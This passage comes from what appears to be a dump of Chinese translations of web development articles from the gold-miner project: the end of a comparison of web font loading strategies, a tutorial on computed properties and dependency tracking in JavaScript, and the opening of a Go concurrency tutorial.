一键实现, 只需要一个 `<link>`。\n* 比 `@font-face` 代码块更好的渲染性能，在线字体的请求优先级很高。\n* 拥抱未来, 如果你使用 `type` 属性去指定字体样式。在 [WOFF2](http://caniuse.com/#feat=woff2) 之前, 一个网页浏览器扔可能执行 [preload](http://caniuse.com/#feat=link-rel-preload) (虽然听上去不太会), 并且如果没有这个属性, 你可能会看到一个多余的请求。所以, 清确保包含了 `type`。\n* 不需要修改字体(通过裁剪或者其他形式)。无需担心许可。\n\n### 缺点\n\n* 可扩展性: 预加载的内容越多, 初始化渲染的内容就越容易被阻塞（注意, 从网站上获取的比对数据都使用了严格的 CSS）。 尝试仅仅使用 1 到 2 个重要的在线字体。\n* 有限的游览器支持 - 目前只有 `Blink` 支持, 但会越来越多。\n* 灵活性: 没法整合重绘/回流。\n* 这个实现方式你没法使用第三方的托管服务. 你需要在标记阶段提交你所请求的在线字体的 URL。 [Google Fonts](https://www.google.com/fonts) , 在 CSS 向他们的 CDN 请求的时候生成这些。\n\n#### 结论: 没有使用的必要。\n\n## 不要使用在线字体\n\n好吧， 其实我并不想讨论太多这个, 实际上这根本就不是一个技术上的加载策略。_但我必须说这比起滥用在线字体要好的多。_你正在错过很多在线字体能带给你新的字体特性和提升阅读性（的机会）, 但这是你的选择。\n\n#### 优点\n\n* 不太确定哪个更加容易: 仅使用没有 `@font-face` 的 `font-family`。\n* 几乎是即刻渲染: 不用担心 `FOUT` 或 `FOIT`。\n\n#### 缺点\n\n* 可适用性很少。仅仅有少部分的字体支持跨平台。可查看 [fontfamily.io](http://fontfamily.io/) 确认某个满足你需求的系统字体是否能被浏览器接受(支持)。\n\n#### 结论： 当然，可以使用。但我一点儿都不意外。\n\n## 内嵌数据 URI\n\n这个方法有两种嵌入式(的代码块): 一个是 `<link rel=\"stylesheet\">` 请求或在 `<style>` 在服务器渲染标记语言中。[alibaba.com](http://www.alibaba.com) (在 CSS 请求中有两个在线字体)和 [medium.com](https://medium.com) (7个在线字体)都使用了这个实现方式。\n\n#### 优点\n\n* 超棒的渲染性能: _没有 `FOUT` 或者 `FOIT`_。 太了不起了!\n* 灵活性: 因为没有 `FOUT` 或 `FOIT` , 所以也就不必担心重绘和回流了。\n* 稳定性: 那些内嵌的代码将所有的事情放在了服务器初始化的请求中。\n\n#### 缺点\n\n* 一些渲染性能的缺陷: 虽然这个实现方式没有 `FOUT` ,但它将大大延迟初始化渲染的时间, 另一方面, 它将会\"完成\"渲染。但牢记即使是一个单独的 `WOFF2` 在线字体都差不多 10KB-15KB, 内嵌式只是一个数据 URI , 它将在严格的渲染过程中花费( HTTP/1 推荐值) 14KB 左右。\n* 浏览器支持: 没有利用在 `@font-face` 代码块中使用的以逗号分隔样式的列表: 这个实现方式仅内嵌一个样式类型。通常来说这就是 `WOFF` , 所以使用这个方法迫使你选择更有普遍性的 `WOFF` 或者更加少的支持但是更小的文件 `WOFF2`。\n* 可扩展性差: 请求无法并行执行。只能逐条加载。\n* 亲自托管服务: 当然是必需!\n\n#### 结论: 仅在你无法容忍 `FOUT` 时使用该方法. 我个人不推荐用这个.\n\n## 异步数据 URI 样式表\n\n使用类似 [`loadCSS`](https://github.com/filamentgroup/loadCSS/) 的工具获取样式表, 所有的字体都嵌入在数据 URI 中。你也将竟然看到这个配合一个本地存储方法来把这个样式表存储在用户本地供其他视图重复使用。\n\n#### 优点\n\n* 渲染性能: _几乎可以消除`FOIT`_ (详见`缺点`)。\n* 灵活性: 方便的将请求整合到一个单独的重绘中(将多个数据 URI 放入到一个样式表)。\n* 容易性: 不需要其他额外的 CSS 的修改. 这是一个大大的好处, 然而, 实现的过程并不只有好处。\n* 稳定性: 如果异步请求失败了, 回退策略文本也将会被显示。\n\n#### 缺点\n\n* 渲染性能: 能被注意到, 但是非常短的 `FOIT` , 当样式表和数据 URI 被解析的时候。这有点碍事, 我都不用看源码都知道这个实现方式被使用了。\n* 灵活性和可扩展性: 整合的请求和重绘被结合在一起了。如果你也整合了多个数据 URI 到一起(这样造成都是顺序加载而非平行), 他们也将一起被重绘。通过这个方法, 你不可能再并行加载并且整合重绘。\n* 不太好维护. 你必须决定你支持哪些样式的字体。在获取数据 URI 数据样式表之前, 你的 `JavaScripter` 加载器将需要决定那种字体样式被支持(`WOFF2` / `WOFF`). 如果有一个新的字体样式出现, 你将必须再为这个特性测试是否可行。\n* 浏览器支持(情况): 你可以采用硬编码 `WOFF2`/`WOFF` 去绕开加载器的持续维护工作, 但这势必引发更多的不需要的请求(相同的缺点我们已经在`嵌入式数据 URI`讨论过)。\n* 亲自托管服务: 必须。\n\n#### 结论: 这个可以，但是我们能做的更好。\n\n## 有分类的 FOUT\n\n使用 CSS 字体库中的加载API函数(`polyfill`)去检测当有某一个字体被加载时, 只将这个成功加载的在线字体应用到你的 CSS 中。同行这意味着放置一个开关类在你的 `<span><html></span>` 元素上。使用 `SASS`/`LESS` 进行更简单的维护操作。\n\n### 优点\n\n* 渲染性能: 消除 `FOIT`。这个方法已经经过尝试和测试了。它也是 [TypeKit推荐的一个实现方式](https://helpx.adobe.com/typekit/using/embed-codes.html#Advancedembedcode).\n* 灵活性: 方便整个请求到一个重绘(可使用一个类处理多个在线字体的加载)。\n* 可扩展性: 并行执行请求。\n* 稳定性: 如果请求失败, 回退策略的文本也能被显示。\n* 托管服务: 可独立字体加载器功能(方便实现第三方的托管服务或现存的 `@font-face` 代码块)。\n* 最多的浏览器支持, `polyfills` 几乎能被所有的在线字体支持。\n* 拥抱未来: `polyfills` 并不一定和字体样式耦合, 它也能和现存的 `@font-face` 代码块工作。也就是当有一个心的样式出现, 你只需要一如既往的改变你的 `@font-face` 就可。\n* 不需要修改字体(通过裁剪或者其他形式). 无需担心许可。\n\n### 缺点\n\n* 需要严格的维护和控制你的 CSS (代码). 单独使用在线字体集,且没有受保护的加载类, 可能会触发 `FOIT`。\n* 一般都需要你硬编码(选择)哪个在线字体是你想要加载在网页上的。你需要加载多过一个网页需要的在线字体. 新的浏览器只会现在当前页面所需要的在线字体 `@font-face` 的实现方式。这就是为什么 [纽约时报在他们的主页上侥幸逃过 100 个不同的 `@font-face` 代码块](https://twitter.com/zachleat/status/746732627319623689) - 浏览器只会下载一小部分。 通过这个方法, 你必须告诉浏览器哪个字体需要被下载, 与使用无关。\n\n### 结论: 这是标准线. 被大部分情况使用。\n\n## 两个阶段渲染的 FOFT, 或 FOUT\n\n该实现基于 [有分类的 FOUT](#有分类的-fout) 方法, 当你要对同一个字型加载不同的字体粗细和样的时候是非常有用的, 比如, `Roman` , `Bold` , `Italic` , `Bold Italic` , `Book`, `Heavy` 等等。 我们可以将在线字体分为两个阶段: `Roman` 优先, 之后将立即渲染`faux-bold`和`faux-italic`的内容( [使用字体合成](https://www.igvita.com/2014/09/16/optimizing-webfont-selection-and-synthesis/)), 然后真实的在线字体, 大权重和加载其他样式。\n\n### 优点\n\n* _所有 [有分类的 FOUT](#有分类的-fout) 方式的优点。_\n* 渲染性能: 极大减少了当在线字体加载完成后内容发生的跳跃。考虑到我们把在线字体的加载分成两个阶段,  这允许第一步(`Roman` 字体 - 引发回流最多的)比我们把所有的字体整合到一个重绘更快。\n\n### 缺点\n\n* _所有 [有分类的 FOUT](#有分类的-fout) 存在的缺点。_\n* 一些设计者讨厌字体合成. 客观来说, 合成的变化没有他们对应的有作用. 但这不是一个公平的比较. 牢记合成的版本知识一个临时性的替代物, 我们要问的是, 或多或少比回退策略的字体来的有用么? 答案是更多!\n\n## 严格的 FOFT\n\n这个方法和标准的 `FOFT` 实现方式不同的是, 在第一阶段不是完全的 `Roman` 在线字体, 我们使用 `Roman` 在线字体的一个子集(通常只会包含 A - Z 和 0 - 9 或标点符号)。 完全的 `Roman` 在线字体在第二阶段加载不同的权重和样式。\n\n### 优点\n\n* _所有 [FOFT](#两个阶段渲染的-foft-或-fout) 现存的优点。_\n* 渲染性能: 第一阶段甚至加载的更快(特别在更慢的网络上更显著)更减少了第一阶段在线字体重绘的时间, 让你使用最多的在线字体更快的产生。\n\n### 缺点\n\n* _所有 [FOFT](#两个阶段渲染的-foft-或-fout) 现存的缺点。_\n* 会引入少量的开支, 在第一阶段加载的 `Roman` 字体的子集会被重复在第二阶段完整的 `Roman` 字体时再加载一次. 这就是为了最小化回流的代价。\n* 许可证限制: 需要裁剪。\n\n### 结论: 可以使用以下加强过的 `严格的 FOFT` 的变种。\n\n## 有数据 URI 的严格 FOFT\n\n这个不同的 `FOFT` 实现方式可以通过第一阶段加载的内容来改变机制。我们可以简单的以直接嵌入数据 URI 到标记语言的形式, 嵌入在线字体, 而不是使用一般的 `JavaScript API` 来初始化一个下载, 加载字体。就如之前讨论的, 这样会阻塞初始化渲染, 但是由于我们仅嵌入一小部分的子 `Roman` 在线字体, 对于完全消除`FOUT`, 这点代价还是值得的。\n\n### 优点\n\n* _所有 [严格的 FOFT](#严格的-foft) 现存的优点._\n* 消除了 `FOIT` 并且对 `Roman` 字体极大地减少 `FOUT`。对在第二阶段加载的额外字体会发生一个小的回流并且当其他权重和样式被加载时, 但这个影响很小。\n\n### 缺点\n\n* _所有 [严格的 FOFT](#严格的-foft) 现存的缺点。_\n* 这个小的内联数据 URI 将少量的阻塞初始渲染. 我们用它交换 `FOUT` 大大的减少。\n* 亲自服务托管: 必须。\n\n### 结论: 就我来看， 这就是目前的黄金标准。\n\n## 有预加载 `preload` 的 `严格 FOFT`\n\n这个不同的 `FOFT` 实现方式可以通过第一阶段加载的内容来改变机制。我们使用新的 `preload` 在线标准, 而不是使用一般的 `JavaScript API` 来初始化一个下载, 加载字体。在之前已经介绍过 [`preload`方法](#预加载-preload), 这会比之前更快的触发下载。\n\n### 优点\n\n* _所有 [严格的 FOFT](#严格的-foft) 现存的优点。_\n* 渲染性能: 下载应该比之前的方法早被触发。 我猜测这个甚至比 HTTP 的报头更戏剧性, 但还并没有证实我的预感. 这个方法比 [有数据 URI 的严格 FOFT](#有数据-uri-的严格-foft) 更好, 他能使用浏览器的缓存重复(发送)请求, 而不是重复发送一样的在线字体, 与每一个服务器标记(语言)请求。\n\n### 缺点\n\n* _所有 [严格的 FOFT](#严格的-foft) 现存的缺点。_\n* 只使用一个在线字体样式。\n* 如上述所陈述的， [浏览器的支持有限](http://caniuse.com/#feat=link-rel-preload) 在我写这篇文章时， 只有 `Blink` 支持。\n* `preload` 会少量的增加初始化渲染的延迟(注意对比的数据由严格 CSS 的网站生成)。\n* 亲自托管: 可能需要。\n\n### 结论: 当浏览器能更好的支持的时候，这会是新的黄金标准。\n"
  },
  {
    "path": "TODO/computed-properties-javascript-dependency-tracking.md",
    "content": "> * 原文地址：[How to build a reactive engine in JavaScript. Part 2: Computed properties and dependency tracking](https://monterail.com/blog/2017/computed-properties-javascript-dependency-tracking)\n> * 原文作者：本文已获原作者 [Damian Dulisz](https://disqus.com/by/damiandulisz/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[IridescentMia](https://github.com/IridescentMia)\n> * 校对者：[malcolmyu](https://github.com/malcolmyu)，[AceLeeWinnie](https://github.com/AceLeeWinnie)\n\n![](https://d4a7vd7s8p76l.cloudfront.net/uploads/56873733-c918-4cd6-bac1-dea44dcc3a9f/Reactive%20engine.png)\n\n# 如何使用 JavaScript 构建响应式引擎 —— Part 2：计算属性和依赖追踪 #\n\nHey！如果你用过 Vue.js、Ember 或 MobX，我敢肯定你被 **计算** 属性难倒过。计算属性允许你创建像正常的值一样使用的函数，但是一旦完成计算，他们就被缓存下来直到它的一个依赖发生改变。总的来说，这一概念与 getters 非常相似，实际上下面的实现也将会用到 getters。只不过实现的方式更加聪明一点。 ;)\n\n> 这是如何使用 JavaScript 构建响应式引擎系列文章的第二部分。在深入阅读前强烈建议读一下 [Part 1： 可观察的对象](https://juejin.im/post/58dc9da661ff4b0061547ca0)，因为接下来的实现是构建于前一篇文章的代码基础之上的。\n\n## 计算属性 ##\n\n假设有一个计算属性叫 `fullName`，是 `firstName` 和 `lastName` 之间加上空格的组合。\n\n在 Vue.js 中这样的计算值可以像下面这样创建：\n\n```\ndata: {\n  firstName: 'Cloud',\n  lastName: 'Strife'\n},\ncomputed: {\n  fullName () {\n    return this.firstName + ' ' + this.lastName // 'Cloud Strife'\n  }\n}\n```\n\n现在如果在模板中使用 `fullName`，我们希望它能随着 `firstName` 或 `lastName` 的改变而更新。如果你有使用 AngularJS 的背景，你可能还记得在模板或者函数调用内使用表达式。当然了，使用渲染函数（不管用不用 JSX）的时候和这里是一样的；其实这无关紧要。\n\n来看一下下面的例子：\n\n```\n<!-- 表达式 -->\n<h1>{{ firstName + ' ' + lastName }}</h1>\n<!-- 函数调用 -->\n<h2>{{ getFullName() }}</h2>\n<!-- 计算属性 -->\n<h3>{{ fullName }}</h3>\n```\n\n上面代码的执行结果几乎是一样的。每次 `firstName` 或 `lastName` 发生变化，视图将会更新这些 `<h>` 并且显示出全名。\n\n然而，如果多次使用表达式、函数调用和计算属性呢？使用表达式和函数调用每次都会计算一遍，而计算属性在第一次计算后将会缓存下来，直到它的依赖发生改变。它也会在重新渲染的周期中一直保持！如果考虑在基于事件模型的现代用户界面中，很难预测用户会首先执行哪项操作，那么这确实是一个最优化方案。\n\n## 基础的计算属性 ##\n\n在前面文章中，我们学习了如何通过使用事件发射器追踪和响应可观察对象属性内的改变。我们知道当改变 `firstName` 时，会调用所有的订阅了 `’firstName’` 事件的处理器。因此通过手动订阅它的依赖来构建计算属性是相当容易的。\n这也是 Ember 实现计算属性的方式：\n\n```\nfullName: Ember.computed('firstName', 'lastName', function() {\n  return this.get('firstName') + ' ' + this.get('lastName')\n})\n```\n\n这样做的缺点就是你不得不自己声明依赖。当你的计算属性是一串高开销的、复杂的函数的运行结果时候，你就知道这的确是个问题了。例如：\n\n```\nselectedTransformedList: Ember.computed('story', 'listA', 'listB', 'listC', function() {\n  switch (this.story) {\n    case 'A':\n      return expensiveTransformation(this.listA)\n    case 'B':\n      return expensiveTransformation(this.listB)\n    default:\n      return expensiveTransformation(this.listC)\n  }\n})\n```\n\n在上面的案例中，即便 `this.story` 总是等于 `’A’`，一旦 lists 发生改变，计算属性也将不得不每次都反复计算。\n\n## 依赖追踪 ##\n\nVue.js 和 MobX 在解决这个问题上使用了与上文不同的方法。不同在于，你根本不必声明依赖，因为在计算的时候他们会自动地检测。假定 `this.story = ‘A’`，检测到的依赖会是：\n\n* `this.story`\n* `this.listA`\n\n当 `this.story` 变成 `’B’`，它将会收集一组新的依赖，并移除那些之前用而现在不再使用的多余的依赖（`this.listA`）。这样，尽管其他 lists 发生变化，也不会触发 `selectedTransformedList` 的重计算。真聪明！\n\n现在是时候返回来看一看 [上一篇文章中的代码 - JSFiddle](https://jsfiddle.net/shentao/4k0gk3bx/10/)，下面的改动将基于这些代码。\n\n> 这篇文章中的代码尽量写的简单，忽略很多完整性检查和优化。绝不是已经可以用于生产环境的，仅仅用于教育目的。\n\n我们来创建一个新的数据模型：\n\n```\nconst App = Seer({\n  data: {\n    // 可观察的值\n    goodCharacter: 'Cloud Strife',\n    evilCharacter: 'Sephiroth',\n    placeholder: 'Choose your side!',\n    side: null,\n    // 计算属性\n    selectedCharacter () {\n      switch (this.side) {\n        case 'Good':\n          return `Your character is ${this.goodCharacter}!`\n        case 'Evil':\n          return `Your character is ${this.evilCharacter}!`\n        default:\n          return this.placeholder\n      }\n    },\n    // 依赖其他计算属性的计算属性\n    selectedCharacterSentenceLength () {\n      return this.selectedCharacter.length\n    }\n  }\n})\n```\n\n### 检测依赖 ###\n\n为了找到当前求值计算属性的依赖，需要一种收集依赖的办法。如你所知，每个可观察属性是已经转换成 getter 和 setter 的形式。当对计算属性（函数）求值的时候，需要用到其他的属性，也就是触发他们的 getters。\n\n例如这个函数：\n\n```\n{\n  fullName () {\n    return this.firstName + ' ' + this.lastName\n  }\n}\n```\n\n将会调用 `firstName` 和 `lastName` 的 getters。\n\n让我们利用这一点！\n\n当对计算属性求值的时候，我们需要收集 getter 被调用的信息。为了完成这项工作，首先需要空间存储当前求值的计算属性。可以用这样的简单对象：\n\n```\nlet Dep = {\n  // 当前求值的计算属性的名字\n  target: null\n}\n```\n\n我们过去曾用 `makeReactive` 函数将原始属性转换成可观察属性。现在让我们为计算属性创建一个转换函数并将它命名为 `makeComputed`。\n\n```\nfunction makeComputed (obj, key, computeFunc) {\n  Object.defineProperty(obj, key, {\n    get () {\n      // 如果没有 target 集合\n      if (!Dep.target) {\n        // 设置 target 为当前求值的属性\n        Dep.target = key\n      }\n      const value = computeFunc.call(obj)\n      // 清空 target 上下文\n      Dep.target = null\n      return value\n    },\n    set () {\n      // Do nothing!\n    }\n  })\n}\n\n// 后面将会用这种方式调用\nmakeComputed(data, 'fullName', data['fullName'])\n```\n\nOkay！既然上下文可以获取了，修改上一篇文章中创建的 `makeReactive` 函数以便使用获取到的上下文。\n\n新的 `makeReactive` 函数像下面这样：\n\n```\nfunction makeReactive (obj, key) {\n  let val = obj[key]\n  // 创建空数组用来存依赖\n  let deps = []\n\n  Object.defineProperty(obj, key, {\n    get () {\n      // 只有在计算属性上下文中调用的时候才会执行\n      if (Dep.target) {\n        // 如果还没添加，则作为依赖这个值的计算属性添加\n        if (!deps.includes(Dep.target)) {\n          deps.push(Dep.target)\n        }\n      }\n      return val\n    },\n    set (newVal) {\n      val = newVal\n      // 如果有依赖于这个值的计算属性\n      if (deps.length) {\n        // 通知每个计算属性的观察者\n        deps.forEach(notify)\n      }\n      notify(key)\n    }\n  })\n}\n```\n\n我们要做的最后一件事就是稍稍改进 `observeData` 函数，以便对于函数形式的属性，它运行 `makeComputed` 而不是 `makeReactive`。\n\n```\nfunction observeData (obj) {\n  for (let key in obj) {\n    if (obj.hasOwnProperty(key)) {\n      if (typeof obj[key] === 'function') {\n        makeComputed(obj, key, obj[key])\n      } else {\n        makeReactive(obj, key)\n      }\n    }\n  }\n  parseDOM(document.body, obj)\n}\n```\n\n基本上就是这样！我们刚刚通过依赖追踪创建了我们自己的计算属性实现。\n\n不幸的是 —— 上面的实现是非常基础的，仍然缺少 Vue.js 和 MobX 中可以找到的重要的特性。我猜最重要的就是缓存和移除废弃的依赖。所以我们把它们添上。\n\n## 缓存 ##\n\n首先，我们需要空间存储缓存。我们在 `makeComputed` 函数中添加缓存管理器。\n\n```\nfunction makeComputed (obj, key, computeFunc) {\n  let cache = null\n\n  // 自观察，当 deps 改变的时候清除缓存\n  observe(key, () => {\n    // 清空缓存\n    cache = null\n  })\n\n  Object.defineProperty(obj, key, {\n    get () {\n      if (!Dep.target) {\n        Dep.target = key\n      }\n      // 当没有缓存\n      if (!cache) {\n        // 计算新的值并存入缓存\n        cache = computeFunc.call(obj)\n      }\n\n      Dep.target = null\n      return cache\n    },\n    set () {\n      // Do nothing!\n    }\n  })\n}\n```\n\n就是这样！现在在初始化计算后，每次读取计算属性，它都会返回缓存的值，直到不得不重新计算。相当简单，是不是？\n\n多亏了 `observe` 函数，在数据转换过程中我们在 `makeComputed` 内部使用，确保在其他信号处理器执行前清空缓存。这意味着，计算属性的一个依赖发生变化，缓存将被清空，刚刚好在界面更新前完成。\n\n## 移除不必要的依赖 ##\n\n现在剩下的工作就是清理无效的依赖。当计算属性依赖于不同的值的时候通常是一个案例。我们想达到的效果是计算属性仅依赖最后使用到的依赖。上面的实现在这方面是有缺陷的，一旦计算属性登记了依赖于它，它就一直在那了。\n\n可能有更好的方式处理这种情况，但是因为我们想保持简单，我们来创建第二个依赖列表，来存储计算属性的依赖项。\n总结来说，我们的依赖列表：\n\n- 依赖于这个值（可观察的或者其他的计算后的）的计算属性名列表存储在本地。可以这样想：**这些是依赖于我的值。**\n- 第二个依赖列表，用来移除废弃的依赖并存储计算属性的最新的依赖。可以这样想：**这些值是我依赖的。**\n\n用这两列表，我们可以运行一个过滤函数来移除无效的依赖。让我们首先创建一个存储第二个依赖列表的对象和一些实用的函数。\n\n```\nlet Dep = {\n  target: null,\n  // 存储计算属性的依赖\n  subs: {},\n  // 在计算属性和其他计算后的或者可观察的值之间创建双向的依赖关系\n  depend (deps, dep) {\n    // 如果还没添加，则添加当前上下文（Dep.target）到本地的 deps，作为依赖于当前属性\n    if (!deps.includes(this.target)) {\n      deps.push(this.target)\n    }\n    // 如果还没有添加，将当前属性作为计算值的依赖加入\n    if (!Dep.subs[this.target].includes(dep)) {\n      Dep.subs[this.target].push(dep)\n    }\n  },\n  getValidDeps (deps, key) {\n    // 通过移除在上一次计算中没有使用的废弃依赖，仅仅过滤出有效的依赖\n    return deps.filter(dep => this.subs[dep].includes(key))\n  },\n  notifyDeps (deps) {\n    // 通知所有已存在的 deps\n    deps.forEach(notify)\n  }\n}\n```\n `Dep.depend` 函数现在还看不出用处，但我们待会就会用到它。那时在这里它的用处会更清楚。\n\n首先，来调整 `makeReactive` 转换函数。\n\n```\nfunction makeReactive (obj, key, computeFunc) {\n  let deps = []\n  let val = obj[key]\n\n  Object.defineProperty(obj, key, {\n    get () {\n      // 只有当在计算值的上下文内时才执行\n      if (Dep.target) {\n        // 将 Dep.target 作为依赖于这个值添加，浙江使 deps 数组发生变化，因为我们给它传了一个引用\n        Dep.depend(deps, key)\n      }\n\n      return val\n    },\n    set (newVal) {\n      val = newVal\n      // 清除废弃依赖\n      deps = Dep.getValidDeps(deps, key)\n      // 并通知有效的 deps\n      Dep.notifyDeps(deps, key)\n\n      notify(key)\n    }\n  })\n}\n```\n\n`makeComputed` 转换函数内部也需要做相似的改动。不同在于不使用 setter 而是用传给 `observe` 函数的信号回调处理器。为什么？因为这个回调无论何时计算的值更新了，也就是依赖改变了，都会被调用。\n\n```\nfunction makeComputed (obj, key, computeFunc) {\n  let cache = null\n  // 创建一个本地的 deps 列表，相似于 makeReactive 的 deps\n  let deps = []\n\n  observe(key, () => {\n    cache = null\n    // 清空并通知有效的 deps\n    deps = Dep.getValidDeps(deps, key)\n    Dep.notifyDeps(deps, key)\n  })\n\n  Object.defineProperty(obj, key, {\n    get () {\n      // 如果如果在其他计算属性正在计算的时候计算\n      if (Dep.target) {\n        // 在这两个计算属性之间创建一个依赖关系\n        Dep.depend(deps, key)\n      }\n      // 将 Dep.target 标准化成它原本的样子，这使得构建一个依赖树成为可能，而不是一个扁平化的结构\n      Dep.target = key\n\n      if (!cache) {\n        // 清空依赖列表以获得一个新的列表\n        Dep.subs[key] = []\n        cache = computeFunc.call(obj)\n      }\n\n      // 清空目标上下文\n      Dep.target = null\n      return cache\n    },\n    set () {\n      // Do nothing!\n    }\n  })\n}\n```\n\n完成了！你可能已经注意到，它允许计算属性依赖于其他计算属性，不需要知道背后的可观察的对象。相当不错，是不？\n\n## 异步陷阱 ##\n\n既然你知道了依赖追踪如何工作，在 MobX 和 Vue.js 中不能追踪计算属性种的异步数据的原因就很明显了。这一切会被打破，因为即使 `setTimeout(callback, 0)` 将会在当前上下文外被调用，在那里 `Dep.target` 不在存在。这也就意味着在回调函数中无论发生什么都不会被追踪到。\n\n## 红利：Watchers ##\n\n然而，上面的问题可以通过 watchers 部分解决。你可能已经在 Vue.js 中了解过它们。在我们已有的基础上创建 watchers 真的很容易。毕竟，watcher 是一个给定值发生变化时调用的信号处理器。\n\n我们只是不得不添加一个 watchers 注册方法并在 Seer 函数内触发它。\n\n```\nfunction subscribeWatchers(watchers, context) {\n  for (let key in watchers) {\n    if (watchers.hasOwnProperty(key)) {\n      // 使用 Function.prototype.bind 来绑定数据模型，作为我们信号处理器新的 `this` 上下文\n      observe(key, watchers[key].bind(context))\n    }\n  }\n}\n\nsubscribeWatchers(config.watch, config.data)\n```\n\n这就是全部了，可以像这样用它：\n\n```\nconst App = Seer({\n  data: {\n    goodCharacter: 'Cloud Strife'\n  },\n  // 这里可以忽略 watchers\n  watch: {\n    // 'goodCharacter' 改变时的 watch\n    goodCharacter () {\n      // 在控制台输出值\n      console.log(this.goodCharacter)\n    }\n  }\n}\n\n```\n\n完整的代码可以在下面获得：\n[https://github.com/shentao/seer/tree/cached-computed](https://github.com/shentao/seer/tree/cached-computed)\n\n你可以在线的试玩（仅支持 Opera/Chrome）：\n[https://jsfiddle.net/oyw72Lyy/](https://jsfiddle.net/oyw72Lyy/)\n\n## 总结 ##\n\n我希望你们喜欢这个教程，当使用计算属性的时候，希望我的解释很好的阐明了 Vue 或 MobX 内部的原理。记住本文提供的实现是相当基础的，和提到的库中的实现不是同等水平的。无论如何都不是可以直接用于生产环境的。\n\n## 接下来讲什么？ ##\n\n第三部分涵盖了对嵌套属性和可观察数组的支持，我也可能在最后添加从事件中取消订阅的办法！ :D\n至于第四部分，也许是数据流？你们感兴趣吗？\n\n欢迎在评论区随意反馈意见！\n\n感谢阅读！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/concurrent-programming.md",
    "content": "\n> * 原文地址：[Concurrent programming](https://www.nada.kth.se/~snilsson/concurrency/#Parallel)\n> * 原文作者：[StefanNilsson](https://plus.google.com/+StefanNilsson)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/concurrent-programming.md](https://github.com/xitu/gold-miner/blob/master/TODO/concurrent-programming.md)\n> * 译者：[kobehaha](http://github.com/kobehaha)\n> * 校对者：[joyking7](http://github.com/joyking7) [alfred-zhong](http://github.com/alfred-zhong)\n\n# 并发编程\n\n[![bouncing balls](https://www.nada.kth.se/~snilsson/concurrency/bouncing-balls.jpg)](http://www.flickr.com/photos/un_photo/5853737946/) \n\n* [1. 多线程执行](#Thread)\n* [2. Channels](#Chan)\n* [3. 同步](#Sync)\n* [4. 死锁](#Dead)\n* [5. 数据竞争](#Race)\n* [6. 互斥锁](#Lock)\n* [7. 检测数据竞争](#Race2)\n* [8. Select标识符](#Select)\n* [9. 最基本的并发实例](#Match)\n* [10. 并行计算](#Parallel)\n\n这篇文章将会以[Go](https://golang.org)语言举例介绍并发编程,包括以下内容\n\n* 线程的并发执行(goroutines)\n* 基本的同步技术(channel和锁)\n* Go中的基本并发模式\n* 死锁和数据竞争\n* 并行计算\n\n开始之前，你需要去了解怎样写最基本的 Go 程序。 如果你已经对 C/C++，Java 或者Python比较熟悉，[A tour of go](https://tour.golang.org/)将会给你一些帮助。你也可以看一下[Go for C++ programmers](https://code.google.com/p/go-wiki/wiki/GoForCPPProgrammers) 或者[Go for Java programmers](http://www.nada.kth.se/~snilsson/go_for_java_programmers/)。\n\n## 1.多线程执行\n\n[goroutine](https://golang.org/ref/spec#Go_statements) 是 go 的一种调度机制。 Go 使用 go 进行声明，以 goroutine 调度机制开启一个新的执行线程。它会在新创建的 goroutine 执行程序。在单个程序中，所有goroutines都是共享相同的地址空间。\n\n\n相比于分配栈空间，goroutine 更加轻量，花销更小。栈空间初始化很小,需要通过申请和释放堆空间来扩展内存。Goroutines 内部是被复用在多个操作系统线程上。如果一个goroutine阻塞了一个操作系统线程，比如正在等待输入，此时，这个线程中的其他 goroutine 为了保证继续运行，将会迁移到其他线程中，而你不需要去关心这些细节。\n\n下面的程序将会打印 `\"Hello from main goroutine\"`. 是否打印`\"Hello from another goroutine\"`，取决于两个goroutines谁先完成.\n\n```\nfunc main() {\n\n    go fmt.Println(\"Hello from another goroutine\")\n    fmt.Println(\"Hello from main goroutine\")\n\n    // 程序执行到这,所有活着的goroutines都会被杀掉\n\n}\n```\n\n[goroutine1.go](https://www.nada.kth.se/~snilsson/concurrency/src/goroutine1.go)\n\n下一段程序 `\"Hello from main goroutine\"` 和 `\"Hello from another goroutine\"` 可能会以任何顺序打印。但有一种可能性是第二个goroutine运行的非常慢，以至于到程序结束之前都不会打印。\n\n```\nfunc main() {\n    go fmt.Println(\"Hello from another goroutine\")\n    fmt.Println(\"Hello from main goroutine\")\n\n    time.Sleep(time.Second) // 为其他goroutine完成等1秒钟\n}\n```\n\n[goroutine2.go](https://www.nada.kth.se/~snilsson/concurrency/src/goroutine2.go)\n\n这有一个更实际的例子，我们定义一个使用并发来推迟事件的函数。\n\n```\n// 在指定时间过期后，文本会被打印到标准输出\n// 这无论如何都不会被阻塞\nfunc Publish(text string, delay time.Duration) {\n    go func() {\n        time.Sleep(delay)\n        fmt.Println(\"BREAKING NEWS:\", text)\n    }() // 注意括号。我们必须调用匿名函数\n}\n```\n\n[publish1.go](https://www.nada.kth.se/~snilsson/concurrency/src/publish1.go)\n\n你可能用下面的方式调用 `Publish` 函数\n\n```\nfunc main() {\n    Publish(\"A goroutine starts a new thread of execution.\", 5*time.Second)\n    fmt.Println(\"Let’s hope the news will published before I leave.\")\n\n    // 等待消息被发布\n    time.Sleep(10 * time.Second)\n\n    fmt.Println(\"Ten seconds later: I’m leaving now.\")\n}\n```\n\n[publish1.go](https://www.nada.kth.se/~snilsson/concurrency/src/publish1.go)\n\n该程序很有可能按以下顺序打印三行，每行输出会间隔五秒钟。\n\n```\n$ go run publish1.go\nLet’s hope the news will published before I leave.\nBREAKING NEWS: A goroutine starts a new thread of execution.\nTen seconds later: I’m leaving now.\n```\n\n一般来说，我们不可能让线程休眠去等待对方。在下一节中, 我们将会介绍 Go 的一种同步机制, __channels__ 。然后演示如何使用channel来让一个 goruntine 等待另外的 